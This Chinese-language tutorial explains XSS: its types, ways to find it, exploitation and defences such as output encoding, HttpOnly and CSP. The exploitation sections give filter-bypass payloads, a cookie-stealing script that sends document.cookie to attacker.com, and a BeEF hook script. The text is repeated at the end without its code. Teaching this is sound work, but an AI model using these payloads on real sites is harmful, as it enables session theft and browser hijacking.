浅谈XSS
字数 1700 2025-08-09 23:12:43

XSS漏洞全面解析与防御指南

一、XSS漏洞概述

1.1 基本概念

跨站脚本攻击(Cross Site Scripting,简称XSS)是一种前端漏洞,攻击者在网页中嵌入客户端脚本(主要是JavaScript),当用户浏览被嵌入恶意代码的网页时,恶意代码将在用户浏览器上执行。

1.2 危害性

  • 盗取用户cookie和会话信息
  • 获取管理员凭证,直接控制后台
  • 实施钓鱼攻击
  • 流量劫持
  • 配合其他漏洞(如网页木马)进行进一步攻击

二、XSS漏洞原理

2.1 核心原理

XSS漏洞产生的根本原因是输出问题导致的JS代码被识别执行。当用户输入的数据未经适当过滤就直接输出到页面时,就可能被浏览器解析为可执行代码。

示例代码:

<?php 
$xss = $_GET['x']; 
echo $xss;
// 访问示例:127.0.0.1/test/xss.php?x=<script>alert(1)</script>
?>

三、XSS漏洞发现方法

3.1 手工测试

  • 测试数据交互的地方:留言板、表单提交、URL参数等
  • 输入特殊字符测试过滤情况:<>""/&()
  • 查看源代码确认输入内容的位置和过滤情况

3.2 工具扫描

常用工具:

  • AWVS
  • AppScan
  • XSSER
  • XSSF

四、XSS漏洞分类

4.1 反射型XSS(非持续型)

特点

  • 非持续型攻击
  • 需要构造特殊URL诱使用户点击
  • 不会写入数据库
  • 常见于查询类页面

利用过程

  1. 构造包含恶意脚本的URL
  2. 诱骗用户点击(如通过钓鱼邮件、论坛发帖)
  3. 用户点击后,恶意脚本在其浏览器执行

示例利用

http://example.com/search?q=<script>src="http://attacker.com/steal.js"</script>

4.2 存储型XSS(持续型)

特点

  • 持续型攻击
  • 恶意代码存储在服务器(数据库)中
  • 所有访问受影响页面的用户都会触发
  • 常见于留言板、评论区、用户资料等

利用过程

  1. 在可存储用户输入的地方提交恶意脚本
  2. 脚本被保存到数据库
  3. 其他用户访问该页面时自动执行恶意脚本

4.3 DOM型XSS

特点

  • 完全在客户端执行,不与服务器交互
  • 基于JavaScript对DOM的操作
  • 可绕过WAF和服务端检测

示例代码

<script>
var temp = document.URL;
var index = document.URL.indexOf("content=")+4;
var par = temp.substring(index);
document.write(decodeURI(par));
</script>

利用方式

http://example.com#content=<script>alert(1)</script>

五、XSS漏洞利用技术

5.1 基本Payload

<script>alert(1)</script>

<svg onload=alert(1)>

5.2 绕过过滤技术

  1. 大小写绕过
<ScRiPt>alert(1)</ScRiPt>
  1. 编码绕过

  1. 伪协议
<a href="javascript:alert(1)">click</a>
  1. Base64编码
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">

5.3 高级利用技术

5.3.1 Cookie窃取

<script>
var img = new Image();
img.src = "http://attacker.com/steal.php?cookie="+document.cookie;
</script>

5.3.2 使用XSS平台

  1. 注册XSS平台账号(如xss.pt)
  2. 获取平台提供的恶意脚本代码
  3. 将代码插入目标网站

5.3.3 使用BeEF框架

  1. 启动BeEF服务(beef-xss)
  2. 注入hook代码:
<script src="http://[your-ip]:3000/hook.js"></script>
  1. 在BeEF控制台操作被hook的浏览器

5.4 特殊场景利用

5.4.1 href属性XSS

<a href="javascript:alert(1)">click</a>

5.4.2 盲打XSS

  • 将payload提交到后台管理界面可见的位置
  • 等待管理员查看时触发

5.4.3 伪造HTTP头XSS

使用Firefox插件修改X-Forwarded-For或Client-IP头:

X-Forwarded-For: <script>alert(1)</script>

六、XSS漏洞挖掘方法

6.1 手工测试方法

  1. 见框就插:在所有输入点测试
  2. 修改URL参数:测试GET参数
  3. 修改数据包:测试POST参数和隐藏字段
  4. 分析JS源码:查找DOM操作漏洞

6.2 测试流程

  1. 输入唯一字符串(如AAAA)并查看源码定位
  2. 测试特殊字符过滤情况:<>""/&()
  3. 根据过滤情况构造相应payload
  4. 测试闭合标签和属性

七、XSS漏洞防御

7.1 输入输出过滤

  • 对特殊字符进行HTML实体编码:
    • <&lt;
    • >&gt;
    • "&quot;
    • '&#039;
    • &&amp;

PHP示例:

htmlspecialchars($input, ENT_QUOTES, 'UTF-8');

7.2 使用HttpOnly

设置cookie的HttpOnly属性,防止JavaScript访问:

setcookie("sessionid", "value", 0, "/", "example.com", false, true);
// 最后一个参数true表示HttpOnly

7.3 内容安全策略(CSP)

通过HTTP头限制脚本执行:

Content-Security-Policy: default-src 'self'

7.4 其他防御措施

  • 输入验证:白名单过滤
  • 输出编码:根据上下文(HTML/JS/URL)进行适当编码
  • 使用现代框架:如React/Vue等自带XSS防护

八、总结

XSS漏洞形式多样,防御关键在于:

  1. 严格过滤所有用户输入
  2. 对输出进行适当编码
  3. 设置HttpOnly保护cookie
  4. 实施CSP策略
  5. 保持安全意识,不信任任何用户输入

通过全面的防御措施,可以有效防止XSS攻击,保护用户数据和系统安全。

XSS漏洞全面解析与防御指南 一、XSS漏洞概述 1.1 基本概念 跨站脚本攻击(Cross Site Scripting,简称XSS)是一种前端漏洞,攻击者在网页中嵌入客户端脚本(主要是JavaScript),当用户浏览被嵌入恶意代码的网页时,恶意代码将在用户浏览器上执行。 1.2 危害性 盗取用户cookie和会话信息 获取管理员凭证,直接控制后台 实施钓鱼攻击 流量劫持 配合其他漏洞(如网页木马)进行进一步攻击 二、XSS漏洞原理 2.1 核心原理 XSS漏洞产生的根本原因是 输出问题导致的JS代码被识别执行 。当用户输入的数据未经适当过滤就直接输出到页面时,就可能被浏览器解析为可执行代码。 示例代码: 三、XSS漏洞发现方法 3.1 手工测试 测试数据交互的地方:留言板、表单提交、URL参数等 输入特殊字符测试过滤情况: <>""/&() 查看源代码确认输入内容的位置和过滤情况 3.2 工具扫描 常用工具: AWVS AppScan XSSER XSSF 四、XSS漏洞分类 4.1 反射型XSS(非持续型) 特点 : 非持续型攻击 需要构造特殊URL诱使用户点击 不会写入数据库 常见于查询类页面 利用过程 : 构造包含恶意脚本的URL 诱骗用户点击(如通过钓鱼邮件、论坛发帖) 用户点击后,恶意脚本在其浏览器执行 示例利用 : 4.2 存储型XSS(持续型) 特点 : 持续型攻击 恶意代码存储在服务器(数据库)中 所有访问受影响页面的用户都会触发 常见于留言板、评论区、用户资料等 利用过程 : 在可存储用户输入的地方提交恶意脚本 脚本被保存到数据库 其他用户访问该页面时自动执行恶意脚本 4.3 DOM型XSS 特点 : 完全在客户端执行,不与服务器交互 基于JavaScript对DOM的操作 可绕过WAF和服务端检测 示例代码 : 利用方式 : 五、XSS漏洞利用技术 5.1 基本Payload 5.2 绕过过滤技术 大小写绕过 : 编码绕过 : 伪协议 : Base64编码 : 5.3 高级利用技术 5.3.1 Cookie窃取 5.3.2 使用XSS平台 注册XSS平台账号(如xss.pt) 获取平台提供的恶意脚本代码 将代码插入目标网站 5.3.3 使用BeEF框架 启动BeEF服务( beef-xss ) 注入hook代码: 在BeEF控制台操作被hook的浏览器 5.4 特殊场景利用 5.4.1 href属性XSS 5.4.2 盲打XSS 将payload提交到后台管理界面可见的位置 等待管理员查看时触发 5.4.3 伪造HTTP头XSS 使用Firefox插件修改X-Forwarded-For或Client-IP头: 六、XSS漏洞挖掘方法 6.1 手工测试方法 见框就插 :在所有输入点测试 修改URL参数 :测试GET参数 修改数据包 :测试POST参数和隐藏字段 分析JS源码 :查找DOM操作漏洞 6.2 测试流程 输入唯一字符串(如AAAA)并查看源码定位 测试特殊字符过滤情况: <>""/&() 根据过滤情况构造相应payload 测试闭合标签和属性 七、XSS漏洞防御 7.1 输入输出过滤 对特殊字符进行HTML实体编码: < → &lt; > → &gt; " → &quot; ' → &#039; & → &amp; PHP示例: 7.2 使用HttpOnly 设置cookie的HttpOnly属性,防止JavaScript访问: 7.3 内容安全策略(CSP) 通过HTTP头限制脚本执行: 7.4 其他防御措施 输入验证:白名单过滤 输出编码:根据上下文(HTML/JS/URL)进行适当编码 使用现代框架:如React/Vue等自带XSS防护 八、总结 XSS漏洞形式多样,防御关键在于: 严格过滤所有用户输入 对输出进行适当编码 设置HttpOnly保护cookie 实施CSP策略 保持安全意识,不信任任何用户输入 通过全面的防御措施,可以有效防止XSS攻击,保护用户数据和系统安全。